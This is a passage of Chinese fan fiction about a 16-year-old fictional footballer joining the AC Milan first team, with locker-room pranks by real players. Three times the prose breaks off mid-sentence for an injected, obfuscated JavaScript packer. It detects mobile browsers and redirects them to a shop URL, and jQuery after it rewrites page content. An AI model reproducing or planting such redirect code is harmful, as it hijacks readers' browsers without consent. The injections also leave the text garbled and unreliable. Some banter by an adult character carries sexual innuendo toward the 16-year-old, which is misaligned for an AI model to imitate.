那时候还是个小胖墩的他最讨厌别人捏他脸,一捏一个红印子,气得他鼓成河豚。
但现在,脸上的婴儿肥消下去大半,只剩下浅浅的弧度,颧骨开始显出来了,不高不低,正好在光下投出一道自然的阴影。
下颌线比以前清晰,从耳垂下方一路延伸到下巴,整张脸瘦削下去之后,反而显出一种以前没有的精致感。
洛伦佐伸手摸了摸自己的眉骨。眉毛比以前浓了一点,但眉形没怎么变,还是那种自然的弧度。不粗不细,眉尾自然拉长又微微下垂,这让他不做表情的时候,天然带着点散不掉的欲言又止。
眼窝不算很特别深,但眉骨到眼眶那块有自然的起伏,让眼睛藏在阴影里的时候,显得格外情深。
洛伦佐把脸凑得更近,几乎要贴上镜子。
眼型比以前显得更长了,内眼角尖尖的,微微向下勾,眼裂在一小段上扬后以非常明显的弧度向下垂落至外眼角。
就是这个弧度,加上皮肤薄,泛着点红,让他不做表情的时候,整张脸都带着点故事感。像意大利老电影里的那些主角,什么话都没说,但你觉得他们心里装着很多事。
瞳色就更怪了。他自己都觉得奇怪,怎么会随着光线变来变去。洛伦佐把脸往左转,又往右转,研究着在不同光线下的效果。
暗一点的时候,比如现在浴室灯全开着,但他往后退一步,退到灯光没那么直接的地方,那双眼睛里的蓝色就往灰里偏一点,带着点雾蒙蒙的调子,像阿尔卑斯山脚下那些冰川湖的湖水,远远看过去,沉静得有些忧郁。
但如果站在太阳底下……洛伦佐想起以前有次训练结束,阳光正好打在他脸上,费德里科盯着他看了半天,忽然就开始嚷嚷:“Cazzo(艹),Enzo,你眼睛怎么这么蓝?晃得我眼睛疼。”
他当时以为费德里科在开玩笑,后来才发现,日光底下那蓝色确实亮得过分,像是在虹膜里藏了一小块夏天的地中海,阳光直射进去,就会反射出那种灼人的、让人移不开眼的蓝。
睫毛也挺好看的,无论是上面还是下面,都又长又浓密。洛伦佐觉得稀奇,他故意垂下眼,看睫毛的阴影落在眼下,眉眼间那缕忧郁顿时更明显了。
Mamma mia,小孩觉得超好笑。他忧郁什么?他日子过得不要太开心。
洛伦佐一笑,镜子里那张脸瞬间变了。
卧蚕弯成两道弧线出现在眼底,嘴角咧开,露出一排整齐的牙,有时候笑得太过甚至会看到舌头。
但他不在乎,那种笑是没办法伪装的,从里到外透出来的快乐,混着点傻气和满满的幸福感。
没办法,文艺片男主角演起来太难了,单纯的脚球男装不了太久。
傻乐的洛伦佐转身打开衣柜,目光扫过衣架。他的衣服大部分都是浅色系,和自己头发颜色搭起来,显得更清爽。
今天他选了件白色无帽卫衣,面料软软的,穿在身上很舒服,领口刚好卡在锁骨上面。下面是条浅蓝色牛仔裤,不是那些紧身小脚裤。
他真搞不懂为什么那么多踢球的喜欢穿那种把腿勒成两根火柴棍的裤子,不舒服不说,看着都憋得慌。
牛仔裤是直筒的,裤脚刚好盖住脚踝,配上一双白色球鞋,干干净净。
配饰这件事,洛伦佐向来认真,他从抽屉里翻出今天要戴的家伙。左手挑了个最简单的银链戴上,贴着腕骨。右手没戴手链,是两个素圈——中指的宽一点,无名指的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265254|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
窄一点。
他的手指长,戴戒指特别好看,有次在米兰街头被一个摄影师拦住问能不能拍他的手,他吓得抡着两条长腿跑了。
耳朵是他最近最喜欢折腾的地方。原先只在耳垂上打了洞,后来觉得不过瘾,又在两边耳朵的下耳轮各打了一个,比耳垂那个位置高一厘米左右。
今天他想了想,右耳耳垂戴上那颗绿松石耳坠,小小的,颜色是很淡的那种蓝绿,在金色的头发里若隐若现。下耳轮则套了个素银圈,贴着耳廓。两个叠在一起,一个坠着,一个圈着,居然挺搭。
洛伦佐对着镜子晃晃脑袋,左看右看,满意地吹了声口哨。哼,要他说,自己的审美可比里诺高多了!
走出房门的时候,斯特拉正在煮咖啡,年纪上来后,睡的也少了,她听见脚步声下意识回头,手里的杯子差点没拿稳。
“Dio mio(我的天)……”她盯着孙子,上下打量了好几遍,“这是谁家的漂亮小伙子走错门了?”
小孩蹦蹦跳跳的,在她脸颊上啾了一口:“你家的。”
斯特拉放下杯子捏他的脸,“今天这么隆重?头发也扎起来了,还戴了这么多,”她凑近了看,“绿松石那个好看,配你眼睛。”
“谢谢nonna~ ”
洛伦佐走到客厅,福尔图内坐在沙发那,面前还摊着报纸。老头抬起眼皮看了孙子一眼,又低头看报纸,过了两秒,又把视线移回来,“嗯。”他发出一个意义不明的鼻音。
“‘嗯’是什么意思?”洛伦佐笑嘻嘻的问。
“意思是,”福尔图内抖抖报纸,“以后那些小姑娘去圣西罗可能不是为了看舍甫琴科了。”
“nonno!”洛伦佐脸红红,“我才十六!”
“我说的是看球,你想什么呢?”老人看着他,眼里全是笑。
洛伦佐被两个人连着调侃,害羞的直窜:“我要去训练了。”
“八点都不到!”斯特拉在后头喊,“你九点才开始呢。”
“今天早点去!”小孩抓起背包就往外跑,身后传来爷爷奶奶的笑声:“年轻真好啊,傻都傻得这么好玩。”
路上还遇到个遛狗的青年,牵着一辆胖乎乎的柯基。那辆柯基看见他,竟然停下来冲他摇尾巴。男生笑着解释:“它就是喜欢长得好看的人”,视线在洛伦佐脸上停了会儿,眼神里带着那种意大利人坦然的欣赏。
“这样的话,那它对着你应该会摇成螺旋桨吧。”洛伦佐朝男生微笑,又冲柯基挥挥手,才继续往前走。
到内洛的时候才八点刚过没多久,餐厅里稀稀拉拉几个人。
洛伦佐慢悠悠地去餐台那边拿吃的,今天有煎蛋、培根、烤面包、各种奶酪和火腿,还有新鲜的水果和酸奶。
他夹了满满一盘,准备好好品尝品尝。等吃完离开的时候还顺手拿了个苹果揣兜里。
安切洛蒂在约定时间出现,冲自家小甜菜招招手,让他跟自己走。等一大一小推开一线队更衣室的门时,里面已经有人了。
21. 不稳定的多边形同样美味
一线队更衣室的门被推开时,洛伦佐跟在安切洛蒂后面,像只刚进新窝的幼猫,先探头,再迈腿。
这动静让里面的人下意识抬头。
也不是什么大事。一线队的更衣室每天进进出出那么多人,青训提上来的小子也不是没见过。
但这会儿门推开,阳光跟着晃进来,那个金头发的身影出现在门口,好几道视线就自然而然地转了过去。
因扎吉正在自己柜子前翻饼干,他听见声音漫不经心的投过去一个眼神,然后就扯不回来了。
关于菲利普·因扎吉,全意大利人都知道,他是个典型的花花公子。他要是哪段时间不去夜店,那才叫稀罕事。
这位浪子风流到什么程度呢?
外面那些小报已经开始编排他和维埃里两个人把意大利所有好看姑娘都谈遍了。因扎吉也懒得解释,媒体爱怎么写怎么写,反正不影响他进球就行。
更何况,喜欢美人有什么错?他又没偷没抢,你情我愿后来场un''avventura(一夜情),然后好聚好散,这事儿在他看来正常得很。
当然,因扎吉也确实有这个资本成为浪子,除了长相名气外,他的审美也还不错。
最起码他穿衣服知道该往哪个方向使劲。私底下的因扎吉,牛仔裤是不会掉到裆的,衬衫的领子翻得也刚刚好,颜色搭在一起不会让人想报警。
这在足球圈里其实挺难得的。你要是每周打开电视看那些赛后采访,就会发现大部分球员的日常穿搭,足以让任何一个审美正常的人捂着胸口念圣母经。
不能说丑。只能说,是一种让时尚从业者看了想转行的、充满创造力的、震撼心灵的——算了,就是丑。
有些人是真的努力了,浑身上下堆满名牌Logo,恨不得把自己穿成一个行走的广告牌。这些脚球男肯定不是穷,也不是不想耍帅,他们是真的觉得自己这样穿太棒了!
米兰在这方面做得相当不错,除了俱乐部有要求,公开场合不能太放飞外,队里有半数人私底下也比较在乎这个。
马尔蒂尼那种穿什么都像从杂志上走下来的就不说了,舍甫琴科也是收拾得清清爽爽的,鲁伊和比利这两个科斯塔永远是一副老钱的味道。
当然,有在乎的,就有不在乎的。
队里出了名放飞自我的有两个,内斯塔和皮尔洛。仗着那张脸,私底下穿衣服主打一个随心所欲。
皮尔洛这人最近不知道抽什么风,迷上了各种高饱和度的衣服。
每一件单看都还行,搭配协调发到ins上是能引起其他人感叹:“不愧是fashion的意大利人”,可惜我们的天才睡皮有自己的想法。
有次他来训练,上面是宝蓝色的羽绒服,下身是条屎绿色的运动裤。加图索严重怀疑这是皮尔洛研究出来的恶作剧新招数,结果没想到这种审美霸凌一直持续到现在,连雷东多都感叹还不如是恶作剧呢。
内斯塔更绝,他的审美像过山车,时好时坏,没有中间值。
好的时候能把基础款穿出大牌感,简单的白T黑裤往那儿一站,拍下来可以直接上杂志。
糟的时候简直就像是逃难到米兰的印度难民,皱巴巴的短袖,洗得发白的运动裤,脚上一双不知道哪儿买的拖鞋,配在一起让人看了想给他通通扒了烧掉。
偏偏他糟的时候比好的时候多,以至于队里有人私下打赌,赌他第二天穿的是“能看”还是“不能看”,目前“不能看”遥遥领先。安切洛蒂凭这个还赚到了不少小蛋糕。
但这些都是题外话。
因扎吉看着洛伦佐简单又时尚的衣服,心里对小孩的穿衣品位给予了高度赞赏。这小子简直是太对他胃口了,无论哪方面。
他说不清自己是什么时候和洛伦佐玩熟的,可能是初见的自行车逃亡就埋下的种子。
后来因扎吉转到ac米兰,那时候洛伦佐还在预备队,偶尔来一线队合练。那天阳光正好,小孩跑过来,长发在脑后扎着,几缕碎发散在脸侧,穿着一身普普通通的训练服,但他往那里一站,整个训练场的光好像都偏心少年。
不是那种侵略性的好看,不是那种让人不敢靠近的好看。是你看着他就想多看两眼,看完了心情会变好,变好之后还想再看两眼的好看。
因扎吉当时就想:长这么好看,踢球要是踢不好,简直天理难容。
后来就见这小子接球、转身、一脚出球,动作干净漂亮得像在现实打实况一样,这更天理难容了。
再后来,因扎吉开始关注洛伦佐的Instagram。
说实话,他以前对这些东西没什么兴趣。也不怎么发社媒,大部分内容是足球相关的,比如训练照片、比赛截图、偶尔的进球视频。私人的东西有但很少。
因扎吉最初只是随手刷刷,洛伦佐的社媒发的挺勤。不是那种一天八条的烦人,是隔三差五冒出来一下,分享点有的没的。
有时候是街角一堵爬满藤蔓的墙,配文是「这墙要是会说话,肯定是个话痨」。有时候是自己做的早餐,煎蛋糊了,配文「刚从非洲旅游回来[黑脸emoji]」。有时候就是几张自拍,因扎吉觉得好看存了不少在手机里。
因扎吉看着看着,就开始点赞。
点着点着,就开始留言。
一开始是简单的“[微笑emoji]”或者“[爱心emoji]”。后来变成“那冬天的时候怎么办?”“直接在内洛吃呗”“衣服颜色可以,就是裤子换条深色的更好”。
洛伦佐每条都回,回得还挺认真。“肯定是因为太冷,自闭了[流泪emoji]”“发展新技能ing”“下次试试你说的!”
一来二去,因扎吉发现自己刷社交媒体的频率变高了。
有时候训练累了,回家瘫沙发上,掏出手机先看洛伦佐有没有发新东西。发了就点开看看,看完了心情能好一点。没发就翻翻以前的,边翻边笑。
有次西蒙尼发消息问他干嘛呢,他说“看手机”。
西蒙尼又问“看得什么”,他回“看小孩发的东西”。
西蒙尼发了一串问号过来,因扎吉没理他。
后来西蒙尼也关注了洛伦佐。
没办法,因扎吉发疯,天天在他面前念叨,“你看这孩子今天发的这个”“他穿这件是不是很合适”。西蒙尼烦了,干脆自己去看,看完之后沉默了两秒,发消息说:“你眼光怎么能好成这样?”
因扎吉回他:“我早就说了。”
维埃里也来过,因扎吉在某条洛伦佐发的照片下面评论了个“Che figo!(太帅了!)”,过了半小时再刷,下面多了条回复,维埃里的账号,“皮波你说谁帅?啊…原来是Lollo,不过宝贝儿,好看的人得跟好看的人一起玩,什么时候跟我出来喝一杯?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265255|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>洛伦佐回复了:“Bobo你这是约我还是约皮波?”
维埃里秒回:“约你们两个,一起。我请客。”
因扎吉当时差点没拿稳手机。Bobo?这俩什么时候勾搭上的?而且什么叫“约你们两个一起”?这话怎么听着这么不对劲?
后来他发现,维埃里似乎挺喜欢去洛伦佐那边晃悠。
每次洛伦佐发东西,维埃里大部分时候都会冒出来。评论得热情奔放,“今天这菜不错,看得我都馋了。”或者“哇哦,昨天的比赛我看了,帅!”。
但偶尔也会来几句不着调的,比如“小孩,你知道穿什么才最欢迎吗?”其他人七嘴八舌的回,结果维埃里来了句:“哥教你,不穿的时候才是Goat![坏笑emoji]”
洛伦佐也好玩,维埃里说骚话的时候他立马跟团,比私底下胆子大了不知道多少:“什么?Bobo你要不穿衣服踢球!!![惊讶emoji][点赞emoji][相机emoji]”。
维埃里正常说话的时候小孩也好好聊。有次他发了个自己吃意面的照片,配文「一个人的晚餐」,洛伦佐在下面评论:“Bobo你这面看起来煮过头了”,维埃里秒回“你来煮,想吃什么自己加。”
“成交,我们马上出发。”
“我们?”
“对啊,我在保罗家呢,他开车要一起去。”
“我来接你吧[流汗emoji]”
因扎吉每次看到这些都想捂脸,Bobo这德行,见了好看的就收不住嘴,不分男女,不分年龄,不分物种。
上个月维埃里看见一只长得很好看的狗,追着人家拍了十分钟照片,发了好几条动态,配文全是「这就是爱」「命中注定的相遇」「你愿意跟我回家吗」。
他当时评论:“你是真的饿了。”
狗主人还点了赞。
西蒙尼就好多了。规规矩矩的“厉害”“加油”“好照片”,偶尔夸一句“穿的好看”,像个正常的、友善的、知道分寸的成年人,但他出现的频率也不低。
有次维埃里又在洛伦佐照片下发骚话,西蒙尼默默回复了句“Bobo,你能不能稍微收着点?”
维埃里回:“收什么收,我看着高兴。”
西蒙尼:“你看着谁都高兴。”
维埃里:“但这个是真高兴。”
西蒙尼:“……”
因扎吉当时想,蒙内你理他干嘛。
但看着这些互动,他又觉得有点神奇。
皮波和波波是好兄弟,一起度假,约饭,泡吧。皮波和蒙内又是真兄弟,无话不谈,圣诞回同一个家。但波波和蒙内这两个因扎吉的左膀右臂却一直不来电。
可现在他们的身影出现在同一个少年的ins下面,维埃里一会儿骚一会儿正常,蒙内在那儿跟上班打卡一样,他自己也默默围观。
因扎吉有时候看着这些互动,会想一个问题:如果更早点认识这小孩,会怎么样?
然后他自己给自己回答:不会怎么样。更早之前的自己在俱乐部之间流浪,在进球,在跟媒体打架,在跟所有人证明自己不是个只会捡漏的前锋。那时候的他,估计没空也没心情去注意一个小孩。
但现在认识,刚刚好。
他们可以坐下来好好说话,不用急着赶下一场。因为自己已经经历过一些事,知道什么东西值得珍惜。
22. 入队仪式?
安切洛蒂把洛伦佐带到更衣室中间的时候,屋子里大概有十来个人。有的在换衣服,有的在刷手机,有的纯粹就是瘫在椅子上发呆。门推开那一下,几道视线懒洋洋地扫过来。
“哎哟。”加图索第一个出声,手里拿着个苹果,刚咬了一口,嘴都来不及合上,“这不是咱们预备队那个ll Fantasma Biondo吗?”
天哪,从一线队这些人嘴里面听到这个绰号,洛伦佐的脚趾都扣地了,他冲坏熊翻了个白眼:“里诺,你苹果汁要流下来了。”
加图索低头一看,还真是,苹果被他那口咬得汁水直淌,顺着手指往下滴,他只好停止逗人去找纸巾。
安切洛蒂清清嗓子,把大家的注意力拉回来。他伸手揽过洛伦佐的肩膀拍拍,笑呵呵地:“行了,都别装了。洛伦佐·多尔切·马里诺,从今天开始正式跟一线队训练。以后他就是你们的人了,该欺负欺负,该罩着罩着,我不管。”
他说完,冲马尔蒂尼扬了扬圆滚滚的下巴:“队长,你来。”
马尔蒂尼从靠墙的椅子上站起来。他上身只穿着打底衫,还没来得及换训练服。走过来的时候,步子稳健,气质沉着,带着那种豪门队长才有的让人没法忽视的存在感。
洛伦佐下意识挺直了背。
然后马尔蒂尼就抱住了他。
不是那种敷衍的拍肩膀,是实打实的、把胳膊圈过来的拥抱。洛伦佐能感觉到他胸口的热度,还有肌肉的弹性。
耳边响起男人的声音,“欢迎你,洛伦佐。希望你在更衣室里找到家的感觉。”
官方,正式,挑不出一点毛病。
洛伦佐被他抱着,脸埋在肩窝里,嘴角却憋不住笑了。他太了解保罗了,知道这人私下是什么样子,现在自己亲身面对他这副端庄稳重的队长模样,小孩脑子都没反应过来。
而且洛伦佐余光扫见后面那些人:加图索在憋笑,因扎吉靠在柜子上看戏,内斯塔在啃巧克力,舍甫琴科甚至冲他眨了眨眼。
一群演员。
马尔蒂尼松开他,退后一步,脸上带着恰到好处的微笑。其他人这才稀稀拉拉地动起来,有的鼓掌,有的点头,有的喊一声“Benvenuto(欢迎)”,敷衍得明明白白。
加图索的掌声最大,拍完了还补一句:“好了好了,欢迎完了,该干嘛干嘛去。”
洛伦佐站在原地,看着这群人装模作样,心里那点复杂的情绪像气泡水一样往上冒。
一方面是觉得好笑。
这帮家伙,明明都混熟了,还在这儿演初次见面的戏码。加图索上周还偷偷给他冰淇淋吃,左手的链子也是因扎吉送的,昨天才和内斯塔在走廊说过话……现在一个个都装得跟陌生人似的。
另一方面,他确实有点恍惚。
他原本以为自己最快也要十八九岁才能上来。不是没自信,是意甲对年轻人向来不算太友好,能像马尔蒂尼那样十六岁就首发的,少之又少。
马尔蒂尼是因为老爹是名宿,自己又确实顶得住。内斯塔也是,拉齐奥青训的宝贝,十八岁就踢上意甲,可那会儿拉齐奥确实缺人,他实力也强。
洛伦佐知道自己踢得不错,但他没想过能这么早。十六岁就正式进一线队。说出去,估计以前U15那帮小子得炸锅。
他站在那里,脑子里转着这些念头,嘴角却忍不住越翘越高。
这种感觉,怎么说呢,有点像小时候第一次独立骑自行车,后轮没有辅助轮的那种。又兴奋,又有点慌,但又觉得自己肯定能骑好。
他深吸一口气,决定配合这群戏精演下去。
“谢谢队长,谢谢大家。”洛伦佐开口,声音故意放得很乖,“我会努力的,一定不给米兰丢人!”
说完,他眼神开始四处乱飘,扫过或抱臂或叉腰,做足大佬姿态的一线队前辈们,最后落回米兰队长脸上。
洛伦佐缩缩脖子,压低了声音,但又能让所有人都听见:“那个……我想问一下,咱们更衣室有没有什么新人规矩啊?比如要给你们擦鞋,或者每天负责买咖啡什么的?”
少年故意把自己缩得小小的,眼神里带着那种“我好害怕”的虚假惊恐,“我年纪小,在米兰这样的豪门什么都不懂,大家不会欺负我吧?”
坏熊眼珠子一转,把手里那个啃了大半的苹果往旁边一放,站起来,叉着腰,嗓门大得像在喊口号:“擦鞋?你提醒我了!我那双限量版耐克,昨天刚踩了泥,正好缺人擦!”
因扎吉也不甘示弱,从旁边探出头,表情一本正经:“早餐。每天早上的早餐,要热腾腾的。羊角包必须新鲜出炉,咖啡要卡布奇诺哦~ ”
内斯塔坐在椅子上,听他们这么说,也语速稍快地开口了:“我也是早餐加咖啡,”然后又补了一句,“要加方糖,不要代糖。”
洛伦佐嘴巴张成O型,转头看向舍甫琴科。乌克兰人笑的很甜,摊了摊手:“别看我,我比较简单,偶尔帮我带点那种软糖就行,绿色包装的。”
安布罗西尼也来凑热闹:“我要果酱,草莓味的,不要蓝莓。”
科斯塔库塔年纪大些,本来在旁边看戏,这时也咳嗽一声,慢条斯理地说:“既然大家都提要求了,那我也不客气了。每天训练结束后,帮我按摩十分钟,手艺要是不好,那就加练。”
洛伦佐彻底“崩溃”了,双手捂着脸,从指缝里哀嚎:“完了完了,我就不该来!教练,你帮我跟瓦莱里奥说一声,我要回去!”
“晚了!”加图索一把搂住他脖子,把他往自己这边带,“进了这个门,就别想跑!认命吧小子!”
洛伦佐被勒得直咳嗽,挣扎着喊救命。
安切洛蒂站在旁边,看着这帮人闹,嘴角的笑意压都压不住。他等了几秒,看他们闹得差不多了,才抬手看了看表,挑眉:“行了,我先走了,你们玩归玩,别太过火,记得准时训练。”
“知道了知道了,教练慢走!”加图索头也不回地挥挥手。
安切洛蒂走到门口,又回头看了一眼,几个心理年龄不大的已经闹起来了。老头笑了笑,轻轻带上门走了。
门一关上,更衣室里彻底放飞自我了。
加图索勾住洛伦佐的脖子往下一压,把人按在旁边的长凳上。“来来来,新来的得接受洗礼!”
洛伦佐脑袋被按着,挣扎着喊:“什么洗礼?!里诺你放开,我没听说过一线队还有这规矩!”
“现在你听说了。”加图索一条腿跨上长凳,整个人坐在洛伦佐腿上,把他压得动弹不得。他抬头冲其他人喊,“皮波!东西呢?”
因扎吉不知道从哪儿翻出来一支黑色记号笔,慢悠悠地走过来,脸上带着那种让人发毛的微笑:“别动啊,动一下画丑了我可不负责。”
“你们这是霸凌!”洛伦佐躺在凳子上,被霸道熊熊压得声音都变闷了,但中气还挺足,“我要投诉!等保罗回来,我要找他告状!”
马尔蒂尼帮洛伦佐去领训练服和其他东西了,小孩来的时候太激动,完全把这件事忘得一干二净。
舍甫琴科在旁边笑得不行,手机已经掏出来对准了:“投诉什么投诉,你这是享受一线队最高礼遇。皮波,先画胡子,从左边开始。”
因扎吉蹲下来,笔尖落在洛伦佐左脸颊上,开始慢条斯理地画。洛伦佐痒得直缩脖子,但加图索压着,他根本躲不开。
“别乱动。”因扎吉顺手拍了他一下,“要歪了。”
“你已经画歪了!”洛伦佐感觉那笔尖在脸上走出一条弯弯曲曲的线,“哪有胡子长成这样的——”
“那是因为你还只是个boy。”因扎吉一本正经。
安布罗西尼不知什么时候凑过来,手里举着另一部手机,换着角度拍:“皮波,给他额头上写个36,证明他是咱们的人。”
“好主意。”因扎吉直起身,笔尖移到洛伦佐额头中间。小孩今天早上特地弄的发型刚好便宜了他,洛伦佐拼命翻白眼,想用眼神杀死坏蛋狐狸,但因扎吉完全无视。
内斯塔本来瘫在椅子上看戏,这时候也站起来,慢悠悠地晃过来。他低头看了眼洛伦佐那副生无可恋的样子,忽然伸手,两根手指掐住洛伦佐腰侧。
“啊啊啊——!”洛伦佐整个人像触电一样弹起来,但被加图索按着,只能扭来扭去,“桑德罗!你放手!那里不行……里诺!里诺你让他放开啊!”
内斯塔面无表情,手指却掐得更起劲了。他掐的位置特别刁钻,是洛伦佐最怕痒的那一小块,每次一碰就跟要了命似的。
洛伦佐笑得喘不上气,眼泪都飚出来了,嘴里断断续续嚷着:“桑德罗你等着,啊哈……我早晚、早晚要报复回来……”
“等你先起来再说。”内斯塔语气平静,手上的动作却一点没停。
加图索坐在他身上,被洛伦佐挣扎的动作晃得差点掉下来,他骂骂咧咧的,干脆整个人压得更实了。
因扎吉趁机把额头上的“36”描完,又在他鼻尖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265256|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
画了个圈。他退后两步,欣赏自己的杰作,满意地点头:“完美。”
舍甫琴科已经把整个过程录下来了,明明笑得超甜,却也很坏的给洛伦佐的脸来了个特写:“你们看他的表情,哇塞,眼泪都出来了!”
洛伦佐好不容易从加图索身下挣扎出来,满脸通红,头发凌乱。
他冲到舍甫琴科旁边翻转摄像头,凑近一看,差点当场晕过去:左脸三道横杠,弯弯曲曲像蚯蚓爬过的痕迹;额头正中间一个巨大的“36”,数字还歪着;鼻尖那个圈圆滚滚的,配上他因为挣扎而乱糟糟的金发,整个就一小丑。
他回过头,怒视着罪魁祸首们,看起来脾气坏的不得了。
加图索叉着腰笑得像个傻子。因扎吉双手抱胸,表情得意。内斯塔靠在柜子上,嘴角的弧度压都压不住。舍甫琴科和安布罗西尼居然还在拍!太可恶了!
连科斯塔库塔都忍不住笑出了声,虽然他现在年纪大,一般不参与这种闹剧了,但这会儿看着洛伦佐那张脸,实在没憋住。
“你们……”洛伦佐深吸一口气,然后忽然咧嘴笑了,“行,你们狠。”
他二话不说,转身就朝加图索扑过去。加图索没反应过来,被他一把抱住腰,两人踉跄着撞上身后的柜子。洛伦佐手快,从旁边柜子上摸到一支不知道谁的笔,直接往加图索脸上招呼。
“Merda!(我靠)”加图索头一偏,笔划在他脸颊上,留下一道黑印,“你小子造反啊!”
“我就造反!”洛伦佐拿着笔,追着他满更衣室跑。加图索躲到因扎吉身后,洛伦佐就绕过去追;因扎吉想跑,被洛伦佐一把拽住袖子,笔尖往他脸上凑。
三个人在更衣室中间你追我赶,椅子被撞得东倒西歪,不知道谁的包被踢到角落里,里面的东西洒了一地。
舍甫琴科笑得手机都拿不稳了,但还在坚持,等他年纪大了,这都是珍贵的回忆啊,哈哈。安布罗西尼已经放弃了录像,靠在墙边揉肚子。内斯塔挪了个位置,躲开混战区,继续看戏。
科斯塔库塔摇摇头,去把自己柜子里的贵重物品收好,免得被这帮疯小子撞翻了。
劳尔森和西米奇刚换好衣服,就被这场面惊得站在门口不敢进来。劳尔森看了几秒,转头问西米奇:“咱们是不是该出去等?”
西米奇点头:“我觉得是。”
两人默默退了出去,把门带上。
更衣室里的混战还在继续。洛伦佐终于追上加图索,在他脸上画了两道大胡子,比因扎吉画他的还粗还歪。加图索不甘示弱,反手抢过笔,也在洛伦佐另一边脸补了几笔。
因扎吉趁乱想溜,被洛伦佐一把揪住后衣领拖回来,三下五除二在他额头上写了个“9”,还用箭头指着说“这是皮波的号码”。
因扎吉对着镜子一照,脸都黑了。那个“9”写得奇丑无比,跟小学生作业似的。他回头瞪着洛伦佐,洛伦佐正笑得满地打滚。
“你完了。”因扎吉眯起眼睛,朝加图索使了个眼色。
两人一左一右包抄过来,洛伦佐赶紧爬起来想跑,但没跑两步就被加图索拦腰抱住。因扎吉不知道从哪儿摸出一管剃须泡沫,鬼知道是谁的,对着洛伦佐的脑袋就是一顿喷。
白色的泡沫糊了他满头满脸,金色的头发瞬间变成一团奶油。洛伦佐拼命甩头,泡沫溅得到处都是,加图索身上也中招了,骂骂咧咧地松了手。
“皮波你喷准点!”
“我喷得很准啊,你看他脑袋上全是。”
洛伦佐顶着一头泡沫,活像刚从蛋糕里钻出来的。他伸手抹了一把脸,眼睛里全是不服输的劲儿。他左右看看,抓起旁边一瓶没开封的水,拧开盖子就朝两人泼过去。
加图索被泼了个正着,T恤湿了一大片,贴在身上。他愣了一下,然后笑了,那笑容让洛伦佐后背发凉。
新一轮混战再次爆发。水、泡沫、还有不知谁扔过来的袜子,在空中飞来飞去。舍甫琴科早就躲到安全地带了,但手机镜头一直没停过。
内斯塔不知道什么时候挪到了雷东多旁边。
雷东多刚从医疗室回来没多久,一直站在自己柜子那边,看着这场闹剧,脸上带着一种很淡的笑。那种很久没见这种场面的、有点怀念的笑。
“你不去帮忙?”内斯塔问他。
雷东多摇了摇头,声音不高:“我这个腿,过去就是给洛伦佐帮倒忙。”
内斯塔想了想,觉得有道理,于是继续安心看戏。
23. 温水煮Lollo
等马尔蒂尼过来的时候,更衣室正中央那堆猫猫人已经扭成一团分不清谁是谁了。
他手里抱着一摞东西,是帮洛伦佐领的训练服、护腿板、几双袜子,还有两件备用打底衫。门刚推开一条缝,就听见里面加图索的粗嗓门在喊:“抓住他!别让他跑了!”
紧接着是洛伦佐的笑声,混着水声和什么东西倒地的闷响。
马尔蒂尼站在门口,看着眼前这一幕,表情特别平静,是那种“我早就知道会这样”的平静。
加图索和因扎吉正追着洛伦佐满屋跑,小孩浑身都湿透了,头发上还挂着白色的剃须泡沫,脸上也花了,但还是笑着的,像夏日里盛开的金雀儿。
他手里攥着那管剃须泡沫,边跑边往身后挤,白色的泡沫在空中划出一道道弧线。
加图索没因扎吉那么灵活,被喷了满脸,骂骂咧咧地抹了把脸,追得更凶了。
超级皮波不知道什么时候抄起了一瓶水,拧开盖子就朝洛伦佐泼过去。小孩机灵的很,赶忙矮身躲开,水柱越过他的头顶,结结实实地泼在了后面看戏的内斯塔身上。
高大英俊的罗马武神低头看着自己湿了一半黏在身上的衣服,面无表情地抬起头。
科斯塔库塔靠在柜子上,见马尔蒂尼回来,冲他扬了扬下巴,眼神里明晃晃地写着:看吧,你刚走就成这样了。
成熟的米兰队长无奈的觑了一眼看热闹不嫌事大的比利,把手里的东西放到洛伦佐的柜子里,然后转身,抱臂,也靠在柜门上看他们闹。
“不上去拉一把?”科斯塔库塔低声问。
马尔蒂尼眼皮都没抬:“急什么。”
知道这人心思的竹马轻轻笑了:“你就惯着他吧。”
马尔蒂尼才不管自己的双标有多明显,目光跟着那团金色在人群里钻来钻去。
洛伦佐这会儿正骑在加图索背上,假装自己是熊骑士。他手里攥着记号笔,使劲往小熊脑门上戳,试图把对方的背号也写上,加入他和皮波的队伍。
加图索边骂边转圈想把背上缠得紧紧的小孩弄下来,简直跟八爪鱼一样。因扎吉就在旁边煽风点火,内斯塔偶尔伸手掐一下洛伦佐的腰,小孩就敏感的发颤,手上的力道也歪了。
“保罗!”洛伦佐百忙之中看见马尔蒂尼,眼睛亮晶晶的,声音都高了八度,“他们欺负我!”
